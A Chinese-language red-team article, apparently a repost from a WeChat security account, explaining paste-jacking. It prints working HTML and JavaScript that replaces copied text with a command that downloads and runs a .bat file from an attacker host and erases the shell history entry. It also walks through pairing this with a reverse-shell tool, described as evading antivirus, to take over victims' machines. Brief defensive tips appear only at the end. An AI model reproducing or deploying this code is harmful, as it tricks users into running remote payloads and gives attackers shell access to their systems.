介绍
在网络安全领域,像 Paste Jacking 这样的技术代表了社会工程攻击的日益复杂。当用户从网页复制看似良性的内容,但他们粘贴的内容已被恶意更改时,就会发生粘贴劫持。攻击者可以使用此技术在目标的计算机上执行命令,尤其是当用户粘贴到终端等敏感环境时。在本文中,我们将深入探讨 Paste Jacking 的工作原理,分析其背后的代码,并讨论防止它的方法。
什么是粘贴顶升?
粘贴劫持涉及操纵用户从网页复制的内容,以在粘贴时执行意外操作。通常,用户会看到无害的文本或代码,但在后台运行的 JavaScript 会将复制的内容替换为恶意负载。此有效负载可能包含任何内容,从下载和执行脚本到创建与攻击者计算机的反向 shell 连接。
例如,用户可能会在网页上看到类似 的命令,并决定将其复制并粘贴到其终端中。但是,他们实际粘贴的内容可能是下载并运行攻击者控制的恶意脚本的命令。sudo apt update
粘贴顶升代码示例
让我们看一个 Paste Jacking 的真实示例,并分解使其正常工作的代码。以下 HTML 和 JavaScript 代码演示如何将复制的文本替换为恶意内容。
<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Paste Jacking Example</title> <script type="text/javascript"> // Replace the copied content with malicious command when the user copies document.addEventListener('copy', function(e) { // Text that appears to the user var originalText = document.getElementById('copytext').textContent; // Malicious payload that will be copied to the clipboard var maliciousCommand = "curl -O http://192.168.1.50/malicious.bat && malicious.bat && history -d $(history 1) || cls"; // Set the copied text to the malicious command e.clipboardData.setData('text/plain', maliciousCommand); e.preventDefault(); // Prevent default copy action }); </script> </head> <body> <h1>Copy the following command:</h1> <p id="copytext">sudo apt update</p> </body> </html>
代码分解
- 原始文本与恶意文本:在此示例中,用户会看到类似于 的命令,该命令似乎完全安全。但是,当用户选择并复制文本时,JavaScript 事件侦听器会拦截该操作,并将复制的内容替换为恶意命令。
sudo apt update
var maliciousCommand = “curl -O http://192.168.1.50/malicious.bat && malicious.bat && history -d $(history 1) || cls”;
此命令执行以下操作:
curl -O http://192.168.1.50/malicious.bat
:从攻击者的服务器下载恶意文件。.bat
malicious.bat
:执行下载的文件。.bat
history -d $(history 1)
:从终端历史记录中删除最后一个命令(在 Linux/MacOS 环境中)以隐藏跟踪。cls
:清除 Windows 上的终端屏幕。
JavaScript 事件侦听器: 用于检测何时在网页上执行复制操作。一旦用户尝试复制内容,此侦听器将执行提供的函数,该函数将复制的内容替换为恶意命令document.addEventListener('copy')
e.clipboardData.setData('text/plain', maliciousCommand); e.preventDefault(); // Stops the original copy action
该行会阻止浏览器执行默认的复制操作,从而确保粘贴的是恶意内容而不是原始内容。e.preventDefault()
利用 PsycheShell 进行反向 Shell 攻击
PsycheShell 是一种多功能工具,用于生成可以绕过常见安全机制(如防病毒软件和防火墙)的反向 shell。它提供混淆、加密 (SSL) 和持久性选项,使其成为用于 Paste Jacking 攻击的理想候选者。
通过将 Paste Jacking 与 PsycheShell 生成的反向 shell 相结合,攻击者可以诱骗用户将恶意命令粘贴到他们的终端中,在不知不觉中执行这些命令并建立反向 shell 连接。
攻击如何运作的示例
- 第 1 步:攻击者创建一个网页,该网页显示类似 的良性命令。
sudo apt update
- 第 2 步:攻击者包括 Paste Jacking JavaScript,以将复制的命令替换为 PsycheShell 反向 shell 有效负载。
- 第 3 步:用户复制显示的命令并将其粘贴到他们的终端中。
- 第 4 步:执行 PsycheShell 反向 shell,而不是预期的命令,并建立与攻击者的连接。
有关 PsycheShell 的更多信息,请访问 PsycheShell GitHub 存储库。
结论:Paste Jacking 与 PsycheShell 相结合,为攻击者提供了一种绕过安全机制并获得对系统的未授权访问的高效方法。虽然对 Red Teams 和道德黑客攻击功能强大,但对于组织来说,教育用户和实施保护措施至关重要,例如在不受信任的网站上禁用 JavaScript,并在将命令粘贴到敏感环境之前查看剪贴板内容。
原文始发于微信公众号(安全狗的自我修养):红队战术:利用 PsycheShell 的 Paste Jacking 制造隐蔽的反向炮弹
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论